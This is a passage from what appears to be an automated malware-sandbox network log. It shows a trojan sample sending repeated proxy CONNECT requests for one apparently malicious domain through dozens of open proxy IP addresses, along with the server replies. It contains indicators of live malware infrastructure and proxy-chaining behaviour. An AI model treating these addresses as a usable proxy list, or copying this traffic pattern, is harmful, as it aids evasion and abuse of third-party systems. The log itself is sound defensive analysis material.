Feb 23, 2024 14:28:25.352869034 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.8	51588	116.199.170.17	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.306901932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.8	51586	115.74.158.40	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.310909986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.8	49790	120.28.139.143	8082	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.320827961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.774173021 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.8	51677	23.92.223.122	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.324443102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.8	51576	118.91.175.146	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.324445009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.8	51606	182.253.93.4	53281	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.333980083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.194861889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.894171953 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.8	51645	8.213.128.6	8889	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.335362911 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.8	51505	115.239.234.43	7302	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.341228008 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:25.711656094 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.8	51710	104.16.224.33	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.342046976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.430790901 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.8	51219	132.148.6.238	58977	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.347587109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.397907972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.8	51603	114.236.93.203	15599	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.347592115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.8	49934	107.180.101.226	51526	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.360188961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.382441044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.382785082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.8	51643	171.236.241.249	4006	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.367146969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.737785101 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.8	51667	211.222.252.187	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.367340088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.8	51215	72.210.221.197	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.367355108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.8	51608	103.127.1.130	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.379759073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.8	51697	199.188.93.214	9000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.395881891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.8	51705	200.79.141.86	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.405474901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.573816061 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.8	51787	211.234.125.3	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.410190105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.8	51683	31.223.22.21	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.419591904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.8	51659	183.89.40.232	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.419687033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.8	51791	211.234.125.3	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.422754049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.8	51793	211.234.125.3	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.423784018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.8	51796	211.234.125.3	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.424851894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.8	51214	201.46.29.115	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.429308891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.8	51253	66.228.33.190	36702	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.444025040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.8	51672	211.222.252.187	8193	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.444139957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.8	51734	212.110.188.220	34409	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.445029020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.991741896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.690501928 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.8	51722	84.39.112.144	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.450839043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.8	51740	141.94.174.6	60870	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.463989973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.8	51673	8.213.128.6	2020	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.475322962 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.8	51379	66.228.37.252	56560	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.479316950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.8	51686	20.219.182.59	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.480020046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.813719034 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.8	51185	35.200.161.98	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.493082047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.694761038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:13.591464996 CET	83	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.57 (CentOS Stream)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.8	51733	185.217.143.23	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.493141890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.699879885 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.8	51752	72.210.252.134	46164	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.500716925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.8	51753	70.166.167.38	57728	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.501000881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.8	51754	98.162.25.4	31654	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.503175020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.8	51785	104.21.66.184	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.503307104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.591069937 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.8	51669	113.204.4.142	10800	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.504297972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.8	51795	162.159.242.8	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.513473034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.601478100 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.8	51523	68.71.249.153	48606	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.537652016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.8	51665	171.244.10.204	61700	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.542246103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.491688013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.8	51838	41.86.252.91	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.543694019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.8	51839	41.86.252.91	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.544456959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
